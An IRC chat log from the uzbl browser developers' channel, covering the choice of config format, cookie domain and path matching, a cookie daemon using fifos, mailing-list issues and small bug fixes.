09:26 < lazzareth> dxdx, Yeah I know, just thought I would expand a little on your suggestion :)
09:28 < dxdx> Dieterbe: i just wanted js because it is really simple to map to configs and commands, and we wouldn't have to care about the parser
09:29 < dxdx> buuut if you say you want to let rob|_ keep working on the current code, i'm ok with that
09:32 < Dieterbe> dxdx: maybe just discuss it with rob|_ .  but yes, as far as i'm concerned he gets to choose, as he does most of the work
09:32 < holizz> I think I'd be happier with a JS config too. So we get useful things by default like functions, and we're already using JavaScript so it's not like it requires more dependencies.
09:35 < dxdx> well, the only real conclusion i could get from jrm8005 was that not everybody likes the awesome/xmonad concept of config
09:36 < holizz> What's xmonad's config like?
09:36 < scj> it's haskell
09:36 < scj> awesome if you know it, a real pain if you don't
09:36 < holizz> How can anybody dislike a config file that's written in a real language?
09:36 < ruskie> holizz, because NOT everyone is a programmer ;)
09:37 < holizz> If we had a JS config, we could even write the handlers as functions.
09:37 < ruskie> and that's what people are afraid of
09:37 < ruskie> jrm8005 brought that up
09:37 < ruskie> you lose the whole keep it as a separate process thing
09:38 < scj> I have a hard time understanding why someone who doesn't know how to program anything would be attracted to uzbl
09:38 < ruskie> because people who aren't programmers also use vim ;)
09:38 < ruskie> and a ton of other such arguments
09:38 < dxdx> JS makes it possible to keep the syntax as simple as the current one, like having the "this" object as the config hashtable, so things like "show_status = 1" are the same
09:39 < holizz> ruskie: Does everything have to be a separate process?
09:39 < ruskie> define everything
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09:39 < holizz> The handlers, at least.
09:40 < ruskie> yes because it makes it possible for people with skills in other languages to write something they prefer
09:40 < ruskie> instead of relying on JS to do it
09:41 < scj> ruskie: the only difference would be that people with JS skills would be able to work with it too
09:41 < ruskie> can't they do that now as well? with script ?
09:41 < ruskie> or is there something preventing them on using a js script to run it?
09:42 < scj> in a sense, but that isn't really the point. using js internally wouldn't kill off the need/usage of external processes
09:42 < holizz> We could make a JS function that executes its arguments.
09:43 < dxdx> right now you can do "set something_handler = js alert('hai')" and it's the same process. with js syntax you'll do "something_handler = function() { alert('hai'); }", and for external scripts you'll do "something_handler = spawn('~/bin/say_hai')"
09:43 < lazzareth> I'm only concerned about how difficult it is to change and read these arguments externally.
09:43 < ruskie> scj, but as jrm pointed out people would start implementing everything in JS then and stop supporting anything outside of JS
09:44 < lazzareth> I'm afraid of that.
09:44 < ruskie> yeah
09:44 < ruskie> me to
09:44 < Phillemann> Yeah, would be really nasty if everything was builtin and I wouldn't have to install ruby and python to get the functionality...
09:44 < lazzareth> At least if we are going to play favorites build a framework that allows any language to plug in an change the config.
09:45 < lazzareth> Phillemann, Shocking isn't it.
09:45 < holizz> lazzareth: .NET?
09:45 < lazzareth> holizz, NO
09:45 < holizz> lazzareth: Java?
09:45 < lazzareth> NOPE
09:45 < Phillemann> Brainfuck?
09:45 < holizz> lazzareth: Parrot?
09:45 < ruskie> bash, python, ruby, perl, lua, lisp!!!
09:45 < dxdx> lol'd at you all
09:45 < lazzareth> Just a simple RFC that defines how you can set, get, list via the socket interface.
09:45 < scj> lazzareth: I believe webkit is going to add native json support. then we could (de)serialize the uzbl process quickly and efficiently for easy manipulation by just about every language
09:45 < lazzareth> Almost like the IRC RFC
09:46 < dxdx> Dieterbe: what do you think of GModule?
09:46 < holizz> There was an open space on adding DOM support to WebKit here. I remember somebody here mentioned WebKit's lack of DOM support.
09:47 < dxdx> (that doesn't mean i liked the idea of pluggable config parsers, i just wanted to ask that)
09:47 < dxdx> holizz: webkitgtk, other bindings have it already, but since we can get data back from javascript it is not a problem
09:53 < ruskie> OK so trying to figure out what to store as what: PUT amch.questionmarket.com /adsc/d604341/8/621121/adscout.php ES=604341-eI{$L-1; expires=Sun, 22-Aug-2010 22:51:50 GMT; path=/; domain=.questionmarket.com - since I'm confused which is the right path to store/return? the first one or the one ...
09:53 < ruskie> ... designated as path=/; ? what about domain the first one or domain=.domain ??? or is this up to the implementor to bother with?
09:54 < dxdx> you store path=/, domain=.domain
09:54 < ruskie> ok
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09:55 < rob|> morning
09:55 < dxdx> then, when you are requested any path starting with "/" from any subdomain in .questionmarket.com (or no subdomain too), you return that cookie, otherwise, nothing
09:55 < holizz> leaving hostel now. wifi at conference is a bit dodgy. Probably see you there.
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09:56 < ruskie> hmm and cookies tend to put in the right domain/ field I take it?
09:56 < dxdx> ?
09:57 < ruskie> if I had som.domain.com and it was providing a cookie it should provide one for domain=som.domain.com ?
09:57 < dxdx> that would apply only for that subdomain
09:58 < Dieterbe>  dxdx> Dieterbe: what do you think of GModule? <-- to do what? a plugin system that can only use binaries?
09:59 < dxdx> Dieterbe: yeah, to do things like pluggable config parsers (wouldn't make much sense to make that configurable, anyway)
09:59 < ruskie> dxdx, hmm so the proper way is to always take the domain=\; field and not the host that get's brought up right after PUT ?
10:00 < Dieterbe> dxdx: i think a config system is pretty closely related to the uzbl core.  we should probably make up our mind to use 1 config system and go with that
10:00 < dxdx> ruskie: take it if they match. if i "PUT dx.free.fr /..." and i set domain=mail.google.com, you have to reject it
10:01 < dxdx> Dieterbe: yes, i agree with that, it was just reusing the example that lazzareth said
10:01 < ruskie> ahh
10:01 < ruskie> so in the case of that example it doesn't match so shouldn't be accepted
10:02 < dxdx> it does match
10:02 < ruskie> ahh
10:02 < ruskie> it matches everything
10:02 < ruskie> under that domain
10:02 < dxdx> amch.questionmarket.com "ends" with .questionmarket.com
10:02 < dxdx> but questionmarket.com matches with .questionmarket.com too
10:03 < dxdx> but phishingquestionmarket.com doesn't match with .questionmarket.com
10:03 < ruskie> thanks
10:04 < ruskie> nothing better to do at work yet ;)
10:05 < ruskie> so I'm matching the following then I take it: PATH.* and .*\.DOMAIN against those provided by the site
10:06 < dxdx> that DOMAIN wouldn't match if it starts with .
10:06 < dxdx> and in PATH you have to consider trailing slashes
10:07 < dxdx> also sometimes DOMAIN doesn't start with a dot, then it would be just for one subdomain
10:07 < ruskie> hmm true
10:07 < ruskie> any why trailing slashe in PATH? do they cause problems?
10:07 < ruskie> considering /.* == /something/whatever/
10:08 < dxdx> www.questionmarket.com == www.questionmarket.com/
10:08 < ruskie> well s/==/matches/
10:08 < ruskie> ahh
10:08 < ruskie> can of worms
10:08 < dxdx> a lazy solution to that would be to always add "/" to the url :P
10:08 < ruskie> A lot seem to do it
10:09 < ruskie> I'll probably come up with something
10:09 < dxdx> i mean, you would match against "www.questionmarket.com//" sometimes
10:09 < ruskie> I'll probably sanitize the HOST first
10:09 < ruskie> I tend to scrub input whenever I can do it
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10:10 < ruskie> probably means most of my stuff takes more time to work but I can be more confident it always operates on expected data in the end
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10:14 < ruskie> not to mention I prefer to discard questionable input than operate under an assumption it might be valid
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10:15 < Dieterbe> there are some good cookie documents/specs out there
10:15 < Dieterbe> and rfc's :P
10:15 < Dieterbe> though i like to just rely on pythons implementation
10:16 < Dieterbe> if you give it the domain and such, it should do all the right things
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10:17 < ruskie> Dieterbe, as I prefer bash ;)
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10:17 < Dieterbe> well ruskie , i attempted to write a cookie implementation in bash, but my courage didn't last very long (cookies.sh)
10:18 < ruskie> yeah I looked at it
10:18 < Dieterbe> especially since cookies.sh was very very crude, and a python implementation that's half the lines of code worked much better :)
10:18 < ruskie> I tend to think alot before writing any code
10:18 < ruskie> and document and try out possible ways of doing it
10:19 < ruskie> also as by default this one will drop all cookies unless whitelisted ;)
10:19 < ruskie> not to worried
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10:24 < ruskie> is it possible to prevent a text entry cursor to show unless in insert mode?
10:25 < Dieterbe> i've been wondering the same. though i would just dim out the cursor (give it another color)
10:29 < bob_f> Dieterbe: Well, there isn't really anything to merge.
10:29 < bob_f> I didn't touch any existing code.
10:30 < ruskie> to many times I've started typing without going to insert mode
10:31 < Dieterbe> bob_f: yesterday you pointed someone to some code repo of yours and hilighted me too
10:32 < bob_f> Dieterbe: Yes - I told you a while back I was going to write this daemon, so I thought you may be interested. But it's not a change to any uzbl code, so I don't know what the best way for you is to make this available to others.
10:32 < bob_f> i.e. whether it's something you want in the codebase somehow or just as an external piece of software.
10:33 < Dieterbe> either way, an irc hilight != entry on my todo list :)
10:33 < bob_f> Hehe, true.
10:33 < ruskie> :)
10:33 < bob_f> Okay, I'll hit the mailing list.
10:34 < bob_f> It's working well, though - facebook works, my cookies are persistent, and there's just one long-running python instance.
10:34 < bob_f> All uzbl does for cookies now is spawn a shell script that writes to a fifo.
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10:34 < ruskie> hmm uzbl MLs not archived on gmane??? :(
10:35 < Dieterbe> we have pipermail
10:35 < ruskie> gmane allows for nntp subscription
10:36 < ruskie> and it doesn't require much effort to put it on... fill out a form hit submit
10:36 < Dieterbe> bob_f: ideally, each cookie request wouldn't need a fork anymore, but just writing directly to a socket or something
10:37 < Dieterbe> bob_f: maybe we should set up an "on start" hookin uzbl config, which calls a script that creates the socket. if this fails uzbl should abort. so later in the config we can be sure the socket will exist and we don't need to spawn scripts anymore
10:38 < bob_f> Dieterbe: Sure - as long as it's expecting to get something back too, that would be trivial for me to do.
10:38 < ruskie> Dieterbe, can I subscribe it to gmane? or something against this?
10:38 < bob_f> Even more trivial would be to have uzbl write to a fifo and I would consider that to be more robust, but whatever's simplest overall.
10:39 < Dieterbe> ruskie: i don't care. the archives are on the web anyway.  if some websites likes to bother to present the same content with another UI that's fine by me
10:39 < dxdx> bob_f: a fifo? how do you get back the return value for GET?
10:40 < bob_f> dxdx: Well, each instance has its own fifo, so the next cookie can be written to that.
10:40 < bob_f> That way it can be done async too.
10:40 < dxdx> bob_f: so the shell script tells your daemon to write back to uzbl?
10:40 < lazzareth> bob_f, I would go go gadget sockets instead of fifo.
10:40 < bob_f> dxdx: Oh, you mean the way it works right now ?
10:41 < dxdx> bob_f: yup
10:41 < Dieterbe> how can you get a cookie asynchronously? you have to wait until you get the response before doing the http request anyway
10:41 < bob_f> dxdx: http://bitbucket.org/bobf/uzbld/src/tip/uzbld.sh
10:41 < ruskie> Dieterbe, well gmane is a lot more than just read only... can allow posting as well through nntp ;)
10:41 < bob_f> I'm a little tiny bit concerned about race conditions here but I've thought it through and I *think* it should be a non-issue.
10:42 < ruskie> I'll give it read-only though
10:42 < bob_f> But, of course, doing this over a blocking socket would fix that.
10:42 < dxdx> bob_f: that "exec 0<pipe" is nice
10:42 < ruskie> so that it's only for archive purposes
10:42 < Dieterbe> ruskie: do what you want
10:42 < bob_f> dxdx: I am terrible at shell, I had to google for that trick. :)
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10:52 < ruskie> hmm already have a 4 line statusbar...
10:52 < bob_f> 4 lines ?
10:53 < bob_f> That would take up nearly half my screen on my Eee. :)
10:53 < ruskie> :)
10:53 < ruskie> on the eee I'll probably make it a single line very little info affair ;)
10:54 < rob|> ruskie: would be nice to post a shot on the wiki, iirc there are none showing off multiline statusbars..
10:54 < ruskie> hmm I could probably get rid of the current page and thus reduce it to 3
10:54 < ruskie> rob|, sure... also has gtk tabs on the right ;)
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10:59 < holizz> "Needs a configure".
10:59 < ruskie> ?
11:00 < Dieterbe> ruskie: i wanna see picture!
11:02 < bob_f> Speaking of small screens, if I mouseover a link, I'm pretty much guaranteed to not be able to see it in my status bar - is there something already in place that I can use to quickly inspect a link's href ?
11:03 < Dieterbe> not that i'm aware of
11:04 < ruskie> Dieterbe, it's on the wiki now
11:04 < Dieterbe> ruskie: url kthxybe
11:04 < ruskie> Dieterbe, http://www.uzbl.org/wiki/shots
11:04 < ruskie> bottom most
11:05 < ruskie> bob_f, hence why I have 4 statusbars ;) one to show me the full href link one for the status one for entry and one to show me the current page(though thinking of getting rid of that)
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11:08 < lazzareth> ruskie, I'm blown away. I've never seen a bad quality PNG screenshot before. What compression level did you use? All I see is a mosaic of jpeg glyphs :P
11:08 < lazzareth> Upload a high-quality one :)
11:09 < bob_f> ruskie: Aha.
11:09 < lazzareth> http://ruskie.codemages.net/scry/cache/misc!uzbl_800x640.png
11:09 < bob_f> Hm, is uzbl affiliated with suckless somehow ?
11:09 < Dieterbe> nope
11:10 < bob_f> This screenshot confused me: http://www.uzbl.org/wiki/_media/rob_uzbl001.png?cache=
11:10 < Dieterbe> i think uzbl is too bloated for the suckless guys (that's why they started their own browser - surf - after seeing uzbl)
11:10 < ruskie> lazzareth, I fixed the link
11:10 < bob_f> Oh, the status bar is at the bottom, not the top, oops.
11:11 < ruskie> lazzareth, if you click on the image it will take you to a high res
11:11 < lazzareth> ruskie, Nice :)
11:11 < bob_f> Dieterbe: Fair enough. I guess surf will have an elite userbase too ....
11:11 < ruskie> lazzareth, not familiar with DokuWiki so had to run around a few times to figure out what was what
11:11 < ruskie> lazzareth, and it was just an import -window root uzbl.png
11:12 < bob_f> Heh, yep, they still have the quote there: "Because dwm is customized through editing its source code, it's pointless to make binary packages of it. This keeps its userbase small and elitist. No novices asking stupid questions."
11:12 < lazzareth> ruskie, Neither was I. I tried to upload an image a few days ago with the same filename as one on the server. It didnt fail but it didnt upload. Had me confused for ages.
11:12 < bob_f> Oh, man, I always forget gmail turns my from address into an @googlemail.com address.
11:12 < lazzareth> bob_f, lol!
11:13 < ruskie> that's why I run my own mail server ;)
11:13 < lazzareth> Seen the new google wve?
11:13 < lazzareth> 'wave?
11:13 < bob_f> One of my colleagues has been raving about it, haven't checked it out yet.
11:13 < ruskie> <-- is anti-google ;)
11:13 < lazzareth> Its worth a look.
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11:14 < bob_f> ruskie: I am too, but that's because they didn't give me a job. :)
11:14 < lazzareth> ruskie, Its a protocol and all open source, whats not to like?
11:14 < lazzareth> bob_f, http://wave.google.com/
11:14 < ruskie> lazzareth, it's google ;)
11:14 < bob_f> lazzareth: Yeah, I'll have to look at home, can't really get away with watching a 1h20m video at work. :)
11:15 < lazzareth> ruskie, I'm not a fanatic but I like their gmail service. Never had a problem in 4 years.
11:15 < lazzareth> bob_f, Fair enough :D
11:15 < ruskie> not to mention having type as you go being really annoynig ;)
11:15 < ruskie> lazzareth, good that you like to contribute to their data gathrening information ;) I don't ;)
11:16 < lazzareth> ruskie, I have purchased my own domain to migrate away slowly but I havent setup any mail-servers on it yet.
11:17 < lazzareth> Registered @thankstrex.com in a tribute to one of my favorite qwantz comics about Godwins law.
11:18 < ruskie> I tend to be reserved when it comes to corporations
11:18 < ruskie> rather give them nothing than anything
11:19 < ruskie> not to mention they core compentancy is ads
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11:21 < bob_f> Eh. I tend to just use stuff that makes my life easier. :)
11:22 < Dieterbe> weak :)
11:22 < lazzareth> bob_f, Thats why I'm a linux.
11:22 < Dieterbe> i think freedom is more important then easyness of use
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11:22 < Dieterbe> !peak
11:22 < uzblbot> Dieterbe: Error: "peak" is not a valid command.
11:22 < Dieterbe> @peak
11:22 < Dieterbe> hmmz
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11:24 < bob_f> Dieterbe: I just compromise. Freedom's great, but what's the point if it doesn't make me happy. I can be free and noble but have a crappy life, or I can find a compromise and use stuff that doesn't make me sad from violating my ethics but also makes my life easier and simpler.
11:25 < ruskie> so a pragmatist like Linus ;)
11:25 < bob_f> I dunno - just tired of fighting, I guess..
11:26 < Dieterbe> bob_f: sounds reasonable. but i'm a control freak. it make me feel bad to not being able to control my own data
11:26 < ruskie> http://www.google-watch.org/ <-- :)
11:27 < bob_f> Dieterbe: Yup, in that way there isn't really much difference in our philosophy, just a skew on our values.
11:28 < bob_f> Dieterbe: Okay, I signed up to the ML with my @googlemail.com address - should I resend the last mail or let it be moderated ?
11:28 < Dieterbe> bob_f: ah right, i actually wanted to talk to you about that
11:29 < ruskie> gah middle mouse click paste from primary isn't working inside of forms...
11:30 < bob_f> Works here, ruskie.
11:30 < bob_f> S-Ins doesn't, though.
11:30 < bob_f> Dieterbe: Yes ?
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11:31 < Dieterbe> bob_f: sometimes i get mails "moderator action required", when people seem to be writing mails to the ML without having registered. so i got a mail about your mail as well.  now i wonder, is it not clear enough that you need to register (eg did i do something wrong when setting up the ML), or is this really users screwing up :)
11:32 < bob_f> Dieterbe: Oh, no, I think most people know you have to sign up - I didn't even think about it, just signed up, waited for the conf. email and posted.
11:32 < Dieterbe> bob_f: hmm so you registered successfully and then mailed? then it's extra odd i got this moderator email
11:32 < bob_f> But forgot google smtp forces my from address to be @googlemail.com instead of @gmail.com, even though both work for receiving (so I always use the latter).
11:33 < bob_f> So it's option c). ;)
11:33 < Dieterbe> oh, so you registered and set the mail with different addresses?
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11:33 < bob_f> Yep.
11:34 < ruskie> bob_f, hmm I wonder if the middle click handler is causing any probs with that
11:34 < bob_f> mutt is configured to use @gmail.com, but then google change it automatically on the way out.
11:34 < bob_f> Gets really annoying when I do a group reply, as it means I get included in the Cc.
11:34 < bob_f> Maybe I should just bow to google and set my from address to be @googlemail.com :(
11:35 < Dieterbe> bob_f: resend the mail please
11:35 < bob_f> Will do.
11:35 < ruskie> hmm no it's not that
11:36 < bob_f> Done.
11:36 < bob_f> Oh, damn it !
11:36 < ruskie> ?
11:36 < bob_f> Now it's come from my work address. aaagh.
11:36 < ruskie> rofl
11:37 < Dieterbe> :)
11:37  * ruskie likes alpines profiles for that
11:37 < bob_f> Okay, third time lucky ...
11:37 < ruskie> simply define if from WORK.* then use work profile else use default profile ;)
11:38 < bob_f> Well, mutt has folder-hooks, but I guess it's undefined what my "sent" maildir should use.
11:44 < rob|> bob_f: lol, testing when drunk seems to be pretty productive ;)
11:44 < bob_f> :)
11:57 < lazzareth> My drunk super-power is the inability to spell for a week after.
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12:02 < ruskie> mmm noon
12:02 < ruskie> 3 more hours to go...
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12:03 < bob_f> lazzareth: The solution is to put off the "week after" indefinitely.
12:03 < bob_f> Beer is a renewable source.
12:04 < lazzareth> bob_f, And never spelleng again!?
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12:05 < bob_f> You can't spell when you're drunk ?
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12:06 < lazzareth> Yeah, I completely lose the ability to spell for the week after. I'm not joking.
12:06 < lazzareth> brb dinner.
12:07 < lazzareth> bob_f, So I just stopped drinking all together :)
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12:23 < ruskie> hmm I wonder if this is only lazzareth's branch that middle click copy paste doesn't work in uzbl
12:23 < lazzareth> I havent pulled in any Dieterbe in a few days.
12:23 < lazzareth> Dieterbe's commits I mean
12:24 < ruskie> :)
12:24 < ruskie> I understood it ;)
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12:32 < lazzareth> ruskie, Pulled in upstream and now I can middle paste into input fields http://github.com/mason-larobina/uzbl/tree/experimental
12:35 < ruskie> O.o
12:36 < lazzareth> ruskie, Does it work now?
12:36 < ruskie> hey it's not even a minute since I noticed this ;)
12:38 < ruskie> hmm
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12:38 < ruskie> nope :(
12:38 < lazzareth> Well I confess, I didn't try before hand: "and now I can middle paste into input fields"
12:39 < lazzareth> But I can nonetheless in my branch.
12:39 < ruskie> works though for select and copy out
12:40 < ruskie> which is an improvment
12:40 < ruskie> I'll try removing the middle click js
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12:42 < ruskie> nope
12:42 < ruskie> not it as well
12:42 < ruskie> wonder if I need to do something else to get this working
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12:50 < lazzareth> Anybody know how to do diff's in python?
12:50 < lazzareth> To compare two strings?
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13:49 < holizz> so yeah, one person turned up to my open space
13:50 < holizz> he couldn't compile it in 10 minutes. i think uzbl was trying to use osx's webkit and that was baaaaad
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13:56 < Dieterbe> what a success !!!
13:56 < Dieterbe> (slightly sarcastic)
13:56 < Dieterbe> sorry to hear that holizz 
14:05 < holizz> That's fine. There was a pretty popular talk on at the same time, and uzbl isn't mass-market or written in Python.
14:06 < holizz> The guy asked if there were Python bindings for WebKit, which sounds like an interesting idea.
14:06 < madnificent> holizz: could allow for much faster development
14:07 < holizz> Yeah, uzbl in Python sounds like a fantastic idea.
14:07 < Dieterbe> ugh
14:08 < Dieterbe> actually i think there are such bindings, not sure though
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14:09 < Phillemann> So you're switching from the fastest language there is to the very slowest? :P
14:10 < holizz> Switching from the slowest for development to the fastest for development.
14:10 < Phillemann> Does uzbl have a deadline?
14:10 < Dieterbe> hehe holizz . good point
14:10 < Dieterbe> Phillemann: no
14:11 < holizz> Phillemann: Hah. Yeah, two weeks.
14:11 < holizz> Phillemann: If it's not working by then, you're fired.
14:11 < Dieterbe> :)
14:11 < Phillemann> :( :(
14:12 < rob|> holizz: C is as fast as the garbage collector in your brains is ;)
14:12 < Phillemann> But you have a point in using C is very time consuming...
14:12  * holizz eats salad with a spork
14:12 < Phillemann> Just don't implement it in Java, please. :P
14:15 < rob|> imo a C core is just fine if we offer a good api for interacting and changing almost anything in uzbl, a bit like xmonad and its contrib modules
14:15 < rob|> and i furthermore think we're on a good way to provide just that
14:15 < holizz> Phillemann: Okay, .NET/C# is okay, right?
14:15 < Phillemann> rob|: There are "border cases" of course. For example the config format. Developing a huge C parser is not a great idea.
14:16 < Phillemann> holizz: No, there are patents on that from Microsoft, don't you read the news? ;)
14:16 < Dieterbe> besides, we're about 4k lines of C. pretty maintainable
14:17 < Phillemann> Is uzbl still just one giant .c file? :P
14:18 < holizz> Phillemann: One of my branches has another .c file in it... but yeah.
14:21 < rob|> Phillemann: the parser doesn't necessarily need to be big and complex if we manage to serialize the C data in an intelligent way and provide hooks for 3rd party functions
14:22 < rob|> Phillemann: the plan (in the long run) is to move the config parser to an library and make use of that in uzbl and external tools
14:26 < Dieterbe> dxdx and scj ^^ see this? ;)
14:28 < ruskie> :)
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14:30 < rob|> well, with this approach uzbl would be just a container for webkit's rendering and a part that registers certain functions in the parser lib
14:34 < ruskie> hmm aren't there like a dozen config parsing libraries out there? anyone bothered to look into those?
14:36 < rob|> i bet there aren't any that would meet all of our needs
14:37 < rob|> i.e. transparent fifo/socket interfaces, live reloading, etc.
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14:53 < Dieterbe> the fifo/socket interface are just communication media and the live reloading also doesn't have much to do with the config format itself imho
14:54 < Dieterbe> ah wait, i think i get the point now
14:55 < Dieterbe> if you start with things like functions like you can do in JS, you cannot just export and re-import a series of commands like you can do now
14:55 < Dieterbe> likewise for variables internal to the config file/parser.  it's good to keep all variables in uzbl and to just expose them
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15:24 < lazzareth> Dieterbe, Do you think it would ever be possible to plug a vim instance into a text-area in Webkit?
15:24 < lazzareth> Or any other external text editor?
15:25 < madnificent> lazzareth: you may want to look at it's all text... that did something similar (and it worked good enough on FF)
15:25 < Dieterbe> yes. i think "it would ever be possible" :)
15:25 < madnificent> lazzareth: an alternative is embedding webkit within emacs :)
15:25 < lazzareth> https://addons.mozilla.org/en-US/firefox/addon/4125 Thats what led me to ask.
15:26 < madnificent> lazzareth: but that doesn't embed :)
15:26 < Dieterbe> https://addons.mozilla.org/en-US/firefox/addon/4125 looks like an ugly hack which requires too much manual interaction
15:27 < madnificent> Dieterbe: it works well in practice (at least with vim or emacsclient, as they boot quickly)
15:28 < lazzareth> I wasn't advocating it, just asking if that kind of functionality is available in webkit.
15:28 < madnificent> Dieterbe: but you can probably make it much more sexy :)
15:28 < Dieterbe> lazzareth: i don't know if it's doable right now
15:29 < N30N> lazzareth: a script that adds vim movment keys to textareas is on me TODO list ;)
15:29 < lazzareth> Was there an extension a while back to spawn your favorite text editor to edit a textarea? Did that ever end up working?
15:30 < Phillemann> Would be great if yzis was integrated into GTK so it could replace all of its textareas. :>
15:30 < lazzareth> Nice N30N.
15:30 < madnificent> Dieterbe: wouldn't it simply be adding a script to be called when the document is loaded?  You can then add the button and let the newly generated JS-powered button call to an outside editor.  It's all text simply polls the created file to see if something has changed, and drops it in that field.  If the JS you embed in the page manually can call external scripts, then it is fairly easy
15:30 < madnificent> Dieterbe: it's all text is one big hack
15:30 < ruskie> hmm I was happy on kazehakase with the ability to hit right key -> edit with external editor and got the text area there
15:31 < Phillemann> Well, vimperator has such a feature as well. I'd be happy with that solution, too.
15:31 < N30N> it would be nice if uzbl respected gtk key themes
15:31 < ruskie> N30N, erm?? key themes?
15:31 < madnificent> it would be nice if you could override the gtk colors :)
15:31 < ruskie> madnificent, use a different theme ;)
15:31 < N30N> like this http://vim.wikia.com/wiki/Vi_key_bindings_in_gtk
15:32 < Dieterbe>  N30N> lazzareth: a script that adds vim movment keys to textareas is on me TODO list ;) <-- that wouldn't be very unix-philosophy-like :)
15:32 < madnificent> ruskie: on a per application basis, that was :)
15:32 < mxey> A command to open a textarea in vim is more like it.
15:33 < madnificent> ruskie: websites use their own themes, it is a dumb idea to use the colors of the theme for them
15:33 < ruskie> mxey, yeah that's what I want ;)
15:33 < madnificent> is there any reason why the way I described above would not work in uzbl?
15:33 < Dieterbe> yzis looks nice
15:34 < Dieterbe> N30N: so.. we don't use gtk key themes? never heard of it.
15:34 < N30N> Dieterbe: yeh they aint working
15:34 < ruskie> any plans on adding a command history sometime? retyping all the stuff get's a tad annoying
15:35 < mxey> ack.
15:35 < Dieterbe> N30N: it probably wouldn't work along with the keyboard interface we want to use
15:36 < ruskie> oh great so now one would neet QT just to have a text editor
15:36 < ruskie> sheesh
15:36 < N30N> Dieterbe: k
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15:36 < Dieterbe> N30N: note i said probably. i have no idea how the gtk keyboard themes work
15:36 < ruskie> yzis sounds like so much of a bad idea now
15:55 < uranther> sup
15:56 < Dieterbe> soup
15:56 < uranther> Dieterbe, did you read your logs from last night's "debate" lol
15:57 < Dieterbe> yeah
15:57 < Dieterbe> you mean about the config syntax?
15:57 < uranther> yup
15:57 < Dieterbe> yep i did
15:57 < uranther> what do you think about using JS for the config file?
15:57 < Dieterbe> 14:54:48 < Dieterbe> ah wait, i think i get the point now
15:57 < Dieterbe> 14:55:22 < Dieterbe> if you start with things like functions like you can do in JS, you cannot just export and re-import a series of commands like you can do now
15:57 < Dieterbe> 14:55:53 < Dieterbe> likewise for variables internal to the config file/parser.  it's good to keep all variables in uzbl and to just expose them
15:59 < uranther> hm? i think the variables will be exposed the same
15:59 < uranther> just the way you set them will be different
16:02 < MichaelRaskin> uranther, exporting JS hash-table of functions to a pipe is _fun_
16:03 < uranther> hm i see what you mean
16:03 < uranther> I guess it all depends on how it is implemented
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16:15 < MichaelRaskin> uranther, yes, it may be not fun, but _lots_ _of_ _fun_
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17:02 < lazzareth> Dieterbe, Are you around?
17:03 < Dieterbe> no
17:03 < Dieterbe> i mean.. yes
17:03 < ruskie> lol
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17:03 < lazzareth> Dieterbe, http://www.uzbl.org/bugs/index.php?do=details&task_id=61 Problem with cookies.py still hasn't been pulled into your main repo's. Cherry pick the fix for the problem from me http://github.com/mason-larobina/uzbl/commit/ea2f26a2c194fece493856b22a9c0ca145c3c6b5
17:04 < lazzareth> I mean the fix to the problem
17:05 < Dieterbe> weird, i thought i merged this in at some point
17:05 < lazzareth> I'm sure someone else has made the same fix in their repo's but I dont have the commit hashes on hand.
17:06 < lazzareth> Same because someone mentioned it (right after I broke it :P)
17:06 < Dieterbe> who hey wait a minute
17:07 < lazzareth> I fixed it for non-xdg users and broke it for xdg users in one foul swoop.
17:07 < Dieterbe> your "fix" is bad
17:07 < lazzareth> Is it?
17:07 < Dieterbe> you MUST put a '/' after the variable
17:07 < lazzareth> 'it is?
17:08 < lazzareth> Show me what you mean
17:08 < Dieterbe> ..
17:09 < lazzareth> After the variable, which variable?
17:09 < Dieterbe> you don't say something like: ${HOME}myfile
17:09 < Dieterbe> it must be ${HOME}/myfile
17:09 < Dieterbe> that goes for every variable
17:09 < lazzareth> No no no no no.
17:09 < Dieterbe> yes yes yes
17:09 < lazzareth> Its using os.path.join
17:09 < Dieterbe> oh
17:09 < lazzareth> >>> import os
17:09 < Dieterbe> and the join already adds a / ?
17:09 < lazzareth> >>> os.path.join('sdfsdfsd','sdfsdf')
17:09 < lazzareth> 'sdfsdfsd/sdfsdf'
17:10 < Dieterbe> ok
17:10 < lazzareth> the join is a cross-platform directory joiner.
17:10 < lazzareth> It takes care of the sep
17:10 < Dieterbe> ok. then ignore what i said
17:10 < Dieterbe> i'll merge
17:10 < lazzareth> :P
17:10 < Dieterbe> if i haven't merged yet
17:10 < Dieterbe> send me a PM on github, copy paste this discussion or something so i know what it's about :)
17:14 < lazzareth> Sent PM
17:15 < lazzareth> Do you want a pull-request from me to pull in the modern & stable uzbl_tabbed.py ?
17:16 < Dieterbe> it's also on github right? i'll see it on my network graph then
17:16 < lazzareth> Yeah: http://github.com/mason-larobina/uzbl/tree/experimental
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17:16 < Dieterbe> well i surely won't "forget" about this
17:17 < lazzareth> :)
17:17 < Dieterbe> it's something i want to test/merge already for a while
17:18 < lazzareth> I started reading through the archlinux forums in the uzbl thread and found some people having problems with cookies.py thats what prompted me to make the fix myself (I also took the opportunity to tell them about uzbl_tabbed.py :P)
17:18 < Dieterbe> ^^
17:19 < Dieterbe> man it's like 2-3 days ago since i was on the forums. for me that's a long while :P
17:23 < noisetonepause> how would i go about customising uzbl's fonts?
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17:24 < Dieterbe> probably loading a custom stylesheet
17:24 < Dieterbe> or changing the pango statusbar string if you're talalking about the fonts in the statusbar
17:24 < noisetonepause> set stylesheet_uri doesn't seem to have much effect
17:24 < noisetonepause> no, i'm talking about the actual fonts that webpages use
17:25 < Dieterbe> well the stylesheet stuff should work
17:26 < noisetonepause> just set stylesheet_uri=/path/to/style?
17:26 < noisetonepause> and that can be a local file?
17:28 < Dieterbe> it can be local or remote
17:28 < Dieterbe> try: set stylesheet_uri = file:///path/to/..
17:28 < Dieterbe> or maybe file://path/to
17:28 < lazzareth> Dieterbe, Feature request: You can currently pass -n to a uzbl-instance to change the name of the fifo filename however I would like to be able to set the full fifo path so that when a uzbl instance is loaded without any config or data dirs I can reliably know where uzbl has created its fifo file. And using uzbl_tabbed specifically I can keep track of unique fifo names with window numbers so collisions aren't an issue.
17:30 < Dieterbe> that doesn't sound good to me. it would essentially be the same as what you can do now, but in a "duplicate" way
17:30 < Dieterbe> just echo "set fifo_path .." into the stdin of the new instance (and call it with uzbl -c - )
17:31 < noisetonepause> i've got a completely plain html file
17:31 < Dieterbe> noisetonepause: what do you mean? <html></html> ?
17:31 < Dieterbe> noisetonepause: or no markup at all?
17:32 < noisetonepause> no, <html><body><p>hello ...
17:32 < noisetonepause> hah
17:33 < lazzareth> Dieterbe, I wasn't aware you can beat uzbl to creating the fifo file? I.e. send the updated fifo_dir before uzbl's already created the fifo
17:33 < noisetonepause> stupid typo
